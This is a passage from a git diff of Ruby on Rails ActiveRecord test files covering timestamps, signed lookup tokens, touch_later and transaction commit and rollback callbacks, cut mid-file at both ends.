     assert_not_equal previous_starting, task.starting
     assert_not_equal previous_ending, task.ending
-    assert_in_delta now, task.starting, 1
-    assert_in_delta now, task.ending, 1
+    assert_in_delta Time.now, task.starting, 1
+    assert_in_delta Time.now, task.ending, 1
   end
 
   def test_touching_a_record_without_timestamps_is_unexceptional
@@ -137,13 +152,13 @@ def test_touching_a_record_without_timestamps_is_unexceptional
 
   def test_touching_a_no_touching_object
     Developer.no_touching do
-      assert @developer.no_touching?
-      assert !@owner.no_touching?
+      assert_predicate @developer, :no_touching?
+      assert_not_predicate @owner, :no_touching?
       @developer.touch
     end
 
-    assert !@developer.no_touching?
-    assert !@owner.no_touching?
+    assert_not_predicate @developer, :no_touching?
+    assert_not_predicate @owner, :no_touching?
     assert_equal @previously_updated_at, @developer.updated_at
   end
 
@@ -160,26 +175,26 @@ def test_touching_related_objects
 
   def test_global_no_touching
     ActiveRecord::Base.no_touching do
-      assert @developer.no_touching?
-      assert @owner.no_touching?
+      assert_predicate @developer, :no_touching?
+      assert_predicate @owner, :no_touching?
       @developer.touch
     end
 
-    assert !@developer.no_touching?
-    assert !@owner.no_touching?
+    assert_not_predicate @developer, :no_touching?
+    assert_not_predicate @owner, :no_touching?
     assert_equal @previously_updated_at, @developer.updated_at
   end
 
   def test_no_touching_threadsafe
     Thread.new do
       Developer.no_touching do
-        assert @developer.no_touching?
+        assert_predicate @developer, :no_touching?
 
         sleep(1)
       end
     end
 
-    assert !@developer.no_touching?
+    assert_not_predicate @developer, :no_touching?
   end
 
   def test_no_touching_with_callbacks
@@ -201,6 +216,88 @@ def test_no_touching_with_callbacks
     end
   end
 
+  def test_saving_an_unchanged_record_with_a_mutating_before_save_callback_updates_its_timestamp
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+
+      include Developer::TimestampAliases
+
+      before_save :change_name
+
+      private
+        def change_name
+          return if new_record?
+
+          self.name = "Jack Bauer"
+        end
+    end
+
+    @developer = klass.create!
+    @previously_updated_at = @developer.updated_at
+    @previous_name = @developer.name
+
+    travel(1.second) do
+      @developer.save!
+    end
+
+    assert_not_equal @previous_name, @developer.name
+    assert_not_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_saving_an_unchanged_record_with_a_mutating_before_update_callback_updates_its_timestamp
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+
+      include Developer::TimestampAliases
+
+      before_update :change_name
+
+      private
+        def change_name
+          return if new_record?
+
+          self.name = "Jack Bauer"
+        end
+    end
+
+    @developer = klass.create!
+    @previously_updated_at = @developer.updated_at
+    @previous_name = @developer.name
+
+    travel(1.second) do
+      @developer.save!
+    end
+
+    @developer.reload
+
+    assert_not_equal @previous_name, @developer.name
+    assert_not_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_saving_an_unchanged_record_with_a_non_mutating_before_update_callback_does_not_update_its_timestamp
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+
+      include Developer::TimestampAliases
+
+      before_update :change_name
+
+      private
+        def change_name; end
+    end
+
+    @developer = klass.create!
+    @previously_updated_at = @developer.updated_at
+
+    travel(1.second) do
+      @developer.save!
+    end
+
+    @developer.reload
+
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
   def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
     pet   = Pet.first
     owner = pet.owner
@@ -235,7 +332,7 @@ def self.name; "Owner"; end
     pet = Pet.new(owner: klass.new)
     pet.save!
 
-    assert pet.owner.new_record?
+    assert_predicate pet.owner, :new_record?
   end
 
   def test_saving_a_record_with_a_belongs_to_that_specifies_touching_a_specific_attribute_the_parent_should_update_that_attribute
@@ -417,7 +514,7 @@ def self.name; "Toy"; end
     assert_not_equal time, pet.updated_at
   end
 
-  def test_timestamp_column_values_are_present_in_the_callbacks
+  def test_timestamp_column_values_are_present_in_create_callbacks
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "people"
 
@@ -427,7 +524,34 @@ def test_timestamp_column_values_are_present_in_the_callbacks
     end
 
     person = klass.create first_name: "David"
-    assert_not_equal person.born_at, nil
+    assert_not_nil person.born_at
+  end
+
+  def test_timestamp_column_values_are_present_in_update_callbacks
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+
+      before_update do
+        self.born_at = created_at
+      end
+    end
+
+    person = klass.create first_name: "David"
+    person.update first_name: "John"
+    assert_not_nil person.born_at
+  end
+
+  def test_timestamp_column_values_are_present_in_save_callbacks
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+
+      before_create do
+        self.born_at = created_at
+      end
+    end
+
+    person = klass.create first_name: "David"
+    assert_not_nil person.born_at
   end
 
   def test_timestamp_attributes_for_create_in_model
@@ -444,17 +568,6 @@ def test_all_timestamp_attributes_in_model
     toy = Toy.first
     assert_equal ["created_at", "updated_at"], toy.send(:all_timestamp_attributes_in_model)
   end
-
-  def test_index_is_created_for_both_timestamps
-    ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
-      t.timestamps null: true, index: true
-    end
-
-    indexes = ActiveRecord::Base.connection.indexes("foos")
-    assert_equal ["created_at", "updated_at"], indexes.flat_map(&:columns).sort
-  ensure
-    ActiveRecord::Base.connection.drop_table(:foos)
-  end
 end
 
 class TimestampsWithoutTransactionTest < ActiveRecord::TestCase
@@ -466,11 +579,22 @@ class TimestampAttributePost < ActiveRecord::Base
   end
 
   def test_do_not_write_timestamps_on_save_if_they_are_not_attributes
-    with_example_table ActiveRecord::Base.connection, "timestamp_attribute_posts", "id integer primary key" do
+    with_example_table ActiveRecord::Base.lease_connection, "timestamp_attribute_posts", "id integer primary key" do
       post = TimestampAttributePost.new(id: 1)
       post.save! # should not try to assign and persist created_at, updated_at
       assert_nil post.created_at
       assert_nil post.updated_at
     end
   end
+
+  def test_index_is_created_for_both_timestamps
+    ActiveRecord::Base.lease_connection.create_table(:foos, force: true) do |t|
+      t.timestamps null: true, index: true
+    end
+
+    indexes = ActiveRecord::Base.lease_connection.indexes("foos")
+    assert_equal ["created_at", "updated_at"], indexes.flat_map(&:columns).sort
+  ensure
+    ActiveRecord::Base.lease_connection.drop_table(:foos)
+  end
 end
diff --git a/activerecord/test/cases/token_for_test.rb b/activerecord/test/cases/token_for_test.rb
new file mode 100644
index 0000000000000..47f3227e279e9
--- /dev/null
+++ b/activerecord/test/cases/token_for_test.rb
@@ -0,0 +1,165 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/matey"
+require "models/user"
+require "models/cpk"
+require "models/room"
+require "active_support/message_verifier"
+
+class TokenForTest < ActiveRecord::TestCase
+  class User < ::User
+    generates_token_for :lookup
+
+    generates_token_for :password_reset, expires_in: 15.minutes do
+      password_digest.to_s[-(31 + 22), 10] # first 10 characters of BCrypt salt
+    end
+
+    generates_token_for :snapshot do
+      { updated_at: updated_at }
+    end
+  end
+
+  setup do
+    @original_verifier = ActiveRecord::Base.generated_token_verifier
+    ActiveRecord::Base.generated_token_verifier = ActiveSupport::MessageVerifier.new("secret")
+
+    @user = User.create!(password_digest: "$2a$4$#{"x" * 22}#{"y" * 31}")
+    @lookup_token = @user.generate_token_for(:lookup)
+    @password_reset_token = @user.generate_token_for(:password_reset)
+  end
+
+  teardown do
+    ActiveRecord::Base.generated_token_verifier = @original_verifier
+  end
+
+  test "finds record by token" do
+    assert_equal @user, User.find_by_token_for(:lookup, @lookup_token)
+    assert_equal @user, User.find_by_token_for!(:lookup, @lookup_token)
+  end
+
+  test "returns nil when record is not found" do
+    @user.destroy
+    assert_nil User.find_by_token_for(:lookup, @lookup_token)
+  end
+
+  test "raises on bang when record is not found" do
+    @user.destroy
+    assert_raises(ActiveRecord::RecordNotFound) do
+      User.find_by_token_for!(:lookup, @lookup_token)
+    end
+  end
+
+  test "raises when token definition does not exist" do
+    assert_raises { User.find_by_token_for(:bad, @lookup_token) }
+  end
+
+  test "does not find record when token is invalid" do
+    assert_nil User.find_by_token_for(:lookup, "bad")
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      User.find_by_token_for!(:lookup, "bad")
+    end
+  end
+
+  test "does not find record when token is for a different purpose" do
+    assert_nil User.find_by_token_for(:password_reset, @lookup_token)
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      User.find_by_token_for!(:password_reset, @lookup_token)
+    end
+  end
+
+  test "finds record when token has not expired and embedded data has not changed" do
+    assert_equal @user, User.find_by_token_for(:password_reset, @password_reset_token)
+  end
+
+  test "does not find record when token has expired" do
+    travel 1.day
+    assert_nil User.find_by_token_for(:password_reset, @password_reset_token)
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      User.find_by_token_for!(:password_reset, @password_reset_token)
+    end
+  end
+
+  test "tokens do not expire by default" do
+    travel 1000.years
+    assert_equal @user, User.find_by_token_for(:lookup, @lookup_token)
+  end
+
+  test "does not find record when expires_in is different" do
+    User.generates_token_for :lookup, expires_in: 1.year
+
+    assert_nil User.find_by_token_for(:lookup, @lookup_token)
+    new_lookup_token = @user.generate_token_for(:lookup)
+    assert_equal @user, User.find_by_token_for(:lookup, new_lookup_token)
+  ensure
+    User.generates_token_for :lookup
+  end
+
+  test "does not find record when embedded data is different" do
+    @user.update!(password: "new password")
+    assert_nil User.find_by_token_for(:password_reset, @password_reset_token)
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      User.find_by_token_for!(:password_reset, @password_reset_token)
+    end
+  end
+
+  test "supports JSON-serializable embedded data" do
+    snapshot_token = @user.generate_token_for(:snapshot)
+    assert_equal @user, User.find_by_token_for(:snapshot, snapshot_token)
+    @user.touch(time: @user.updated_at.advance(seconds: 1))
+    assert_nil User.find_by_token_for(:snapshot, snapshot_token)
+  end
+
+  test "finds record through relation" do
+    assert_equal @user, User.where("1=1").find_by_token_for(:lookup, @lookup_token)
+    assert_nil User.where("1=0").find_by_token_for(:lookup, @lookup_token)
+  end
+
+  test "finds record through subclass" do
+    subclass = Class.new(User)
+    subclassed_user = subclass.find_by_token_for(:lookup, @lookup_token)
+
+    assert_instance_of subclass, subclassed_user
+    assert_equal @user.id, subclassed_user.id
+  end
+
+  test "subclasses can redefine tokens" do
+    subclass = Class.new(User) do
+      generates_token_for :lookup
+    end
+    subclassed_user = subclass.find(@user.id)
+    subclassed_lookup_token = subclassed_user.generate_token_for(:lookup)
+
+    assert_equal subclassed_user, subclass.find_by_token_for(:lookup, subclassed_lookup_token)
+    assert_nil subclass.find_by_token_for(:lookup, @lookup_token)
+    assert_nil User.find_by_token_for(:lookup, subclassed_lookup_token)
+  end
+
+  test "finds record with a custom primary key" do
+    custom_pk = Class.new(User) do
+      self.primary_key = "auth_token"
+    end
+    custom_pk_user = custom_pk.find(@user.auth_token)
+    custom_pk_lookup_token = custom_pk_user.generate_token_for(:lookup)
+
+    assert_equal custom_pk_user, custom_pk.find_by_token_for(:lookup, custom_pk_lookup_token)
+    assert_nil custom_pk.find_by_token_for(:lookup, @lookup_token)
+  end
+
+  test "finds record with a composite primary key" do
+    book = Cpk::Book.create!(id: [1, 3], shop_id: 2)
+    token = book.generate_token_for(:test)
+
+    assert_equal book, Cpk::Book.find_by_token_for(:test, token)
+  end
+
+  test "raises when no primary key has been declared" do
+    no_pk = Class.new(Matey) do
+      generates_token_for :parley
+    end
+
+    assert_raises(ActiveRecord::UnknownPrimaryKey) do
+      no_pk.find_by_token_for(:parley, "this token will not be checked")
+    end
+  end
+end
diff --git a/activerecord/test/cases/touch_later_test.rb b/activerecord/test/cases/touch_later_test.rb
index d1e8c649d9467..2e24367a5bc4b 100644
--- a/activerecord/test/cases/touch_later_test.rb
+++ b/activerecord/test/cases/touch_later_test.rb
@@ -1,17 +1,21 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/invoice"
 require "models/line_item"
 require "models/topic"
 require "models/node"
 require "models/tree"
+require "models/owner"
+require "models/pet"
 
 class TouchLaterTest < ActiveRecord::TestCase
-  fixtures :nodes, :trees
+  fixtures :nodes, :trees, :owners, :pets
 
-  def test_touch_laster_raise_if_non_persisted
+  def test_touch_later_raise_if_non_persisted
     invoice = Invoice.new
     Invoice.transaction do
-      assert_not invoice.persisted?
+      assert_not_predicate invoice, :persisted?
       assert_raises(ActiveRecord::ActiveRecordError) do
         invoice.touch_later
       end
@@ -21,7 +25,7 @@ def test_touch_laster_raise_if_non_persisted
   def test_touch_later_dont_set_dirty_attributes
     invoice = Invoice.create!
     invoice.touch_later
-    assert_not invoice.changed?
+    assert_not_predicate invoice, :changed?
   end
 
   def test_touch_later_respects_no_touching_policy
@@ -98,7 +102,7 @@ def test_touch_touches_immediately_with_a_custom_time
 
   def test_touch_later_dont_hit_the_db
     invoice = Invoice.create!
-    assert_queries(0) do
+    assert_no_queries do
       invoice.touch_later
     end
   end
@@ -118,4 +122,44 @@ def test_touching_three_deep
     assert_not_equal nodes(:grandparent).reload.updated_at, previous_grandparent_updated_at
     assert_not_equal trees(:root).reload.updated_at, previous_tree_updated_at
   end
+
+  def test_touching_through_nested_attributes_without_before_committed_on_all_records
+    original = ActiveRecord.before_committed_on_all_records
+    ActiveRecord.before_committed_on_all_records = false
+
+    time = Time.now.utc - 25.days
+
+    owner = owners(:blackbeard)
+
+    owner.touch(time: time)
+
+    assert_equal time.to_i, owner.reload.updated_at.to_i
+
+    owner.update pets_attributes: { "0" => { id: "1", name: "Alfred" } }
+
+    # The second copy of the record is not touched, so the owner's updated_at
+    # remains the same.
+    assert_equal time.to_i, owner.reload.updated_at.to_i
+  ensure
+    ActiveRecord.before_committed_on_all_records = original
+  end
+
+  def test_touching_through_nested_attributes_with_before_committed_on_all_records
+    original = ActiveRecord.before_committed_on_all_records
+    ActiveRecord.before_committed_on_all_records = true
+
+    time = Time.now.utc - 25.days
+
+    owner = owners(:blackbeard)
+
+    owner.touch(time: time)
+
+    assert_equal time.to_i, owner.reload.updated_at.to_i
+
+    owner.update pets_attributes: { "0" => { id: "1", name: "Alfred" } }
+
+    assert_not_equal time.to_i, owner.reload.updated_at.to_i
+  ensure
+    ActiveRecord.before_committed_on_all_records = original
+  end
 end
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
index 391bbe8877397..4948acecc351a 100644
--- a/activerecord/test/cases/transaction_callbacks_test.rb
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/owner"
 require "models/pet"
@@ -34,8 +36,16 @@ class TopicWithCallbacks < ActiveRecord::Base
 
     has_many :replies, class_name: "ReplyWithCallbacks", foreign_key: "parent_id"
 
+    attr_accessor :abort_before_update, :abort_before_destroy
+
+    before_update { throw :abort if abort_before_update }
+    before_destroy { throw :abort if abort_before_destroy }
+
+    before_destroy { self.class.find(id).touch if persisted? }
+
     before_commit { |record| record.do_before_commit(nil) }
     after_commit { |record| record.do_after_commit(nil) }
+    after_save_commit { |record| record.do_after_commit(:save) }
     after_create_commit { |record| record.do_after_commit(:create) }
     after_update_commit { |record| record.do_after_commit(:update) }
     after_destroy_commit { |record| record.do_after_commit(:destroy) }
@@ -90,13 +100,13 @@ def setup
   def test_before_commit_exception_should_pop_transaction_stack
     @first.before_commit_block { raise "better pop this txn from the stack!" }
 
-    original_txn = @first.class.connection.current_transaction
+    original_txn = @first.class.lease_connection.current_transaction
 
     begin
       @first.save!
       fail
     rescue
-      assert_equal original_txn, @first.class.connection.current_transaction
+      assert_equal original_txn, @first.class.lease_connection.current_transaction
     end
   end
 
@@ -108,6 +118,63 @@ def test_call_after_commit_after_transaction_commits
     assert_equal [:after_commit], @first.history
   end
 
+  def test_dont_call_any_callbacks_after_transaction_commits_for_invalid_record
+    @first.after_commit_block { |r| r.history << :after_commit }
+    @first.after_rollback_block { |r| r.history << :after_rollback }
+
+    def @first.valid?(*)
+      false
+    end
+
+    assert_not @first.save
+    assert_equal [], @first.history
+  end
+
+  def test_dont_call_any_callbacks_after_explicit_transaction_commits_for_invalid_record
+    @first.after_commit_block { |r| r.history << :after_commit }
+    @first.after_rollback_block { |r| r.history << :after_rollback }
+
+    def @first.valid?(*)
+      false
+    end
+
+    @first.transaction do
+      assert_not @first.save
+    end
+    assert_equal [], @first.history
+  end
+
+  def test_dont_call_after_commit_on_update_based_on_previous_transaction
+    @first.save!
+    add_transaction_execution_blocks(@first)
+
+    @first.abort_before_update = true
+    @first.transaction { @first.save }
+
+    assert_empty @first.history
+  end
+
+  def test_dont_call_after_commit_on_destroy_based_on_previous_transaction
+    @first.destroy!
+    add_transaction_execution_blocks(@first)
+
+    @first.abort_before_destroy = true
+    @first.transaction { @first.destroy }
+
+    assert_empty @first.history
+  end
+
+  def test_only_call_after_commit_on_save_after_transaction_commits_for_saving_record
+    record = TopicWithCallbacks.new(title: "New topic", written_on: Date.today)
+    record.after_commit_block(:save) { |r| r.history << :after_save }
+
+    record.save!
+    assert_equal [:after_save], record.history
+
+    record.update!(title: "Another topic")
+    assert_equal [:after_save, :after_save], record.history
+  end
+
   def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record
     add_transaction_execution_blocks @first
 
@@ -137,6 +204,23 @@ def test_only_call_after_commit_on_create_after_transaction_commits_for_new_reco
     assert_equal [], reply.history
   end
 
+  def test_no_after_commit_on_destroy_after_transaction_commits_for_destroyed_new_record
+    new_record = TopicWithCallbacks.new(title: "New topic", written_on: Date.today)
+    add_transaction_execution_blocks new_record
+
+    new_record.destroy
+    assert_equal [], new_record.history
+  end
+
+  def test_save_in_after_create_commit_wont_invoke_extra_after_create_commit
+    new_record = TopicWithCallbacks.new(title: "New topic", written_on: Date.today)
+    add_transaction_execution_blocks new_record
+    new_record.after_commit_block(:create) { |r| r.save! }
+
+    new_record.save!
+    assert_equal [:commit_on_create, :commit_on_update], new_record.history
+  end
+
   def test_only_call_after_commit_on_create_and_doesnt_leaky
     r = ReplyWithCallbacks.new(content: "foo")
     r.save_on_after_create = true
@@ -156,13 +240,13 @@ def test_only_call_after_commit_on_update_after_transaction_commits_for_existing
 
   def test_only_call_after_commit_on_top_level_transactions
     @first.after_commit_block { |r| r.history << :after_commit }
-    assert @first.history.empty?
+    assert_empty @first.history
 
     @first.transaction do
       @first.transaction(requires_new: true) do
         @first.touch
       end
-      assert @first.history.empty?
+      assert_empty @first.history
     end
     assert_equal [:after_commit], @first.history
   end
@@ -230,7 +314,7 @@ def test_call_after_rollback_when_commit_fails
 
     assert_raises RuntimeError do
       @first.transaction do
-        tx = @first.class.connection.transaction_manager.current_transaction
+        tx = @first.class.lease_connection.transaction_manager.current_transaction
         def tx.commit
           raise
         end
@@ -331,6 +415,23 @@ def test_after_rollback_callback_should_not_swallow_errors_when_set_to_raise
     end
   end
 
+  def test_after_commit_callback_should_not_rollback_state_that_already_been_succeeded
+    klass = Class.new(TopicWithCallbacks) do
+      self.inheritance_column = nil
+      validates :title, presence: true
+    end
+
+    first = klass.new(title: "foo")
+    first.after_commit_block { |r| r.update(title: nil) if r.persisted? }
+    first.save!
+
+    assert_predicate first, :persisted?
+    assert_not_nil first.id
+  ensure
+    first.destroy!
+  end
+  uses_transaction :test_after_commit_callback_should_not_rollback_state_that_already_been_succeeded
+
   def test_after_rollback_callback_when_raise_should_restore_state
     error_class = Class.new(StandardError)
 
@@ -365,6 +466,26 @@ def test_after_commit_callbacks_should_validate_on_condition
     assert_match(/:on conditions for after_commit and after_rollback callbacks have to be one of \[:create, :destroy, :update\]/, e.message)
   end
 
+  def test_after_commit_chain_not_called_on_errors
+    record_1 = TopicWithCallbacks.create!
+    record_2 = TopicWithCallbacks.create!
+    record_3 = TopicWithCallbacks.create!
+    callbacks = []
+    record_1.after_commit_block { raise }
+    record_2.after_commit_block { callbacks << record_2.id }
+    record_3.after_commit_block { callbacks << record_3.id }
+    begin
+      TopicWithCallbacks.transaction do
+        record_1.save!
+        record_2.save!
+        record_3.save!
+      end
+    rescue
+      # From record_1.after_commit
+    end
+    assert_equal [], callbacks
+  end
+
   def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_call_callbacks_on_the_parent_object
     pet   = Pet.first
     owner = pet.owner
@@ -380,8 +501,60 @@ def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_sh
     assert flag
   end
 
-  private
+  def test_saving_two_records_that_override_object_id_should_run_after_commit_callbacks_for_both
+    klass = Class.new(TopicWithCallbacks) do
+      silence_warnings do
+        define_method(:object_id) { 42 }
+      end
+    end
+
+    records = [klass.new, klass.new]
+
+    klass.transaction do
+      records.each do |record|
+        record.after_commit_block { |r| r.history << :after_commit }
+        record.save!
+      end
+    end
 
+    assert_equal [:after_commit], records.first.history
+    assert_equal [:after_commit], records.second.history
+  end
+
+  def test_saving_two_records_that_override_object_id_should_run_after_rollback_callbacks_for_both
+    klass = Class.new(TopicWithCallbacks) do
+      silence_warnings do
+        define_method(:object_id) { 42 }
+      end
+    end
+
+    records = [klass.new, klass.new]
+
+    klass.transaction do
+      records.each do |record|
+        record.after_rollback_block { |r| r.history << :after_rollback }
+        record.save!
+      end
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [:after_rollback], records.first.history
+    assert_equal [:after_rollback], records.second.history
+  end
+
+  def test_after_commit_does_not_mutate_the_if_options_array
+    opts = []
+
+    Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      after_commit(if: opts, on: :create) { }
+    end
+
+    assert_empty opts
+  end
+
+  private
     def add_transaction_execution_blocks(record)
       record.after_commit_block(:create) { |r| r.history << :commit_on_create }
       record.after_commit_block(:update) { |r| r.history << :commit_on_update }
@@ -392,6 +565,28 @@ def add_transaction_execution_blocks(record)
     end
 end
 
+class TransactionAfterCommitCallbacksWithOptimisticLockingTest < ActiveRecord::TestCase
+  class PersonWithCallbacks < ActiveRecord::Base
+    self.table_name = :people
+
+    after_create_commit { |record| record.history << :commit_on_create }
+    after_update_commit { |record| record.history << :commit_on_update }
+    after_destroy_commit { |record| record.history << :commit_on_destroy }
+
+    def history
+      @history ||= []
+    end
+  end
+
+  def test_after_commit_callbacks_with_optimistic_locking
+    person = PersonWithCallbacks.create!(first_name: "first name")
+    person.update!(first_name: "another name")
+    person.destroy
+
+    assert_equal [:commit_on_create, :commit_on_update, :commit_on_destroy], person.history
+  end
+end
+
 class CallbacksOnMultipleActionsTest < ActiveRecord::TestCase
   self.use_transactional_tests = false
 
@@ -449,7 +644,102 @@ def test_before_commit_update_in_same_transaction
   end
 end
 
+class CallbackOrderTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  module Behavior
+    extend ActiveSupport::Concern
+
+    included do
+      self.table_name = :topics
+
+      after_commit { |record| record.history << 3 }
+      after_commit { |record| record.history << 4 }
+      after_save_commit { |record| record.history << "save" }
+      after_create_commit { |record| record.history << "create" }
+      after_update_commit { |record| record.history << "update" }
+      after_destroy_commit { |record| record.history << "destroy" }
+
+      after_rollback { |record| record.history << "rollback1" }
+      after_rollback { |record| record.history << "rollback2" }
+
+      before_commit { |record| record.history << 1 }
+      before_commit { |record| record.history << 2 }
+    end
+
+    def clear_history
+      @history = []
+    end
+
+    def history
+      @history ||= []
+    end
+  end
+
+  run_after_transaction_callbacks_in_order_defined_was = ActiveRecord.run_after_transaction_callbacks_in_order_defined
+  ActiveRecord.run_after_transaction_callbacks_in_order_defined = true
+  class TopicWithCallbacksWithSpecificOrderWithSettingTrue < ActiveRecord::Base
+    include Behavior
+  end
+  ActiveRecord.run_after_transaction_callbacks_in_order_defined = run_after_transaction_callbacks_in_order_defined_was
+
+  run_after_transaction_callbacks_in_order_defined_was = ActiveRecord.run_after_transaction_callbacks_in_order_defined
+  ActiveRecord.run_after_transaction_callbacks_in_order_defined = false
+  class TopicWithCallbacksWithSpecificOrderWithSettingFalse < ActiveRecord::Base
+    include Behavior
+  end
+  ActiveRecord.run_after_transaction_callbacks_in_order_defined = run_after_transaction_callbacks_in_order_defined_was
+
+  def test_callbacks_run_in_order_defined_in_model_if_using_run_after_transaction_callbacks_in_order_defined
+    topic = TopicWithCallbacksWithSpecificOrderWithSettingTrue.new
+    topic.save
+    assert_equal [1, 2, 3, 4, "save", "create"], topic.history
+
+    topic.clear_history
+    topic.approved = true
+    topic.save
+    assert_equal [1, 2, 3, 4, "save", "update"], topic.history
+
+    topic.clear_history
+    topic.transaction do
+      topic.approved = false
+      topic.save
+      raise ActiveRecord::Rollback
+    end
+    assert_equal ["rollback1", "rollback2"], topic.history
+
+    topic.clear_history
+    topic.destroy
+    assert_equal [1, 2, 3, 4, "destroy"], topic.history
+  end
+
+  def test_callbacks_run_in_order_defined_in_model_if_not_using_run_after_transaction_callbacks_in_order_defined
+    topic = TopicWithCallbacksWithSpecificOrderWithSettingFalse.new
+    topic.save
+    assert_equal [1, 2, "create", "save", 4, 3], topic.history
+
+    topic.clear_history
+    topic.approved = true
+    topic.save
+    assert_equal [1, 2, "update", "save", 4, 3], topic.history
+
+    topic.clear_history
+    topic.transaction do
+      topic.approved = false
+      topic.save
+      raise ActiveRecord::Rollback
+    end
+    assert_equal ["rollback2", "rollback1"], topic.history
+
+    topic.clear_history
+    topic.destroy
+    assert_equal [1, 2, "destroy", 4, 3], topic.history
+  end
+end
+
 class CallbacksOnDestroyUpdateActionRaceTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
   class TopicWithHistory < ActiveRecord::Base
     self.table_name = :topics
 
@@ -463,11 +753,37 @@ def self.history
   end
 
   class TopicWithCallbacksOnDestroy < TopicWithHistory
-    after_commit(on: :destroy) { |record| record.class.history << :destroy }
+    after_commit(on: :destroy) { |record| record.class.history << :commit_on_destroy }
+    after_rollback(on: :destroy) { |record| record.class.history << :rollback_on_destroy }
+
+    before_destroy :before_destroy_for_transaction
+
+    private
+      def before_destroy_for_transaction; end
   end
 
   class TopicWithCallbacksOnUpdate < TopicWithHistory
-    after_commit(on: :update) { |record| record.class.history << :update }
+    after_commit(on: :update) { |record| record.class.history << :commit_on_update }
+
+    before_save :before_save_for_transaction
+
+    private
+      def before_save_for_transaction; end
+  end
+
+  def test_trigger_once_on_multiple_deletion_within_transaction
+    TopicWithCallbacksOnDestroy.clear_history
+    topic = TopicWithCallbacksOnDestroy.new
+    topic.save
+    topic_clone = TopicWithCallbacksOnDestroy.find(topic.id)
+
+    topic.define_singleton_method(:before_destroy_for_transaction) do
+      topic_clone.destroy
+    end
+
+    topic.destroy
+
+    assert_equal [:commit_on_destroy], TopicWithCallbacksOnDestroy.history
   end
 
   def test_trigger_once_on_multiple_deletions
@@ -475,10 +791,50 @@ def test_trigger_once_on_multiple_deletions
     topic = TopicWithCallbacksOnDestroy.new
     topic.save
     topic_clone = TopicWithCallbacksOnDestroy.find(topic.id)
+
+    topic.destroy
     topic.destroy
     topic_clone.destroy
 
-    assert_equal [:destroy], TopicWithCallbacksOnDestroy.history
+    assert_equal [:commit_on_destroy], TopicWithCallbacksOnDestroy.history
+  end
+
+  def test_trigger_once_on_multiple_deletions_in_a_transaction
+    TopicWithCallbacksOnDestroy.clear_history
+    topic = TopicWithCallbacksOnDestroy.new
+    topic.save
+
+    TopicWithCallbacksOnDestroy.transaction do
+      topic.destroy
+      topic.destroy
+    end
+
+    assert_equal [:commit_on_destroy], TopicWithCallbacksOnDestroy.history
+  end
+
+  def test_rollback_on_multiple_deletions
+    TopicWithCallbacksOnDestroy.clear_history
+    topic = TopicWithCallbacksOnDestroy.new
+    topic.save
+    topic_clone = TopicWithCallbacksOnDestroy.find(topic.id)
+
+    topic.define_singleton_method(:before_destroy_for_transaction) do
+      topic_clone.update!(author_name: "Test Author Clone")
+      topic_clone.destroy
+    end
+
+    TopicWithCallbacksOnDestroy.transaction do
+      topic.update!(author_name: "Test Author")
+      topic.destroy
+      raise ActiveRecord::Rollback
+    end
+
+    assert_not_predicate topic, :destroyed?
+    assert_not_predicate topic_clone, :destroyed?
+    assert_equal [nil, "Test Author"], topic.author_name_change_to_be_saved
+    assert_equal [nil, "Test Author Clone"], topic_clone.author_name_change_to_be_saved
+
+    assert_equal [:rollback_on_destroy], TopicWithCallbacksOnDestroy.history
   end
 
   def test_trigger_on_update_where_row_was_deleted
@@ -486,7 +842,11 @@ def test_trigger_on_update_where_row_was_deleted
     topic = TopicWithCallbacksOnUpdate.new
     topic.save
     topic_clone = TopicWithCallbacksOnUpdate.find(topic.id)
-    topic.destroy
+
+    topic_clone.define_singleton_method(:before_save_for_transaction) do
+      topic.destroy
+    end
+
     topic_clone.author_name = "Test Author"
     topic_clone.save
 
@@ -494,60 +854,234 @@ def test_trigger_on_update_where_row_was_deleted
   end
 end
 
-class TransactionEnrollmentCallbacksTest < ActiveRecord::TestCase
-  class TopicWithoutTransactionalEnrollmentCallbacks < ActiveRecord::Base
+class CallbacksOnActionAndConditionTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  class TopicWithCallbacksOnActionAndCondition < ActiveRecord::Base
     self.table_name = :topics
 
-    before_commit_without_transaction_enrollment { |r| r.history << :before_commit }
-    after_commit_without_transaction_enrollment { |r| r.history << :after_commit }
-    after_rollback_without_transaction_enrollment { |r| r.history << :rollback }
+    after_commit(on: [:create, :update], if: :run_callback?) { |record| record.history << :create_or_update }
+
+    def clear_history
+      @history = []
+    end
 
     def history
       @history ||= []
     end
+
+    def run_callback?
+      self.history << :run_callback?
+      true
+    end
+
+    attr_accessor :save_before_commit_history, :update_title
   end
 
-  def setup
-    @topic = TopicWithoutTransactionalEnrollmentCallbacks.create!
+  def test_callback_on_action_with_condition
+    topic = TopicWithCallbacksOnActionAndCondition.new
+    topic.save
+    assert_equal [:run_callback?, :create_or_update], topic.history
+
+    topic.clear_history
+    topic.approved = true
+    topic.save
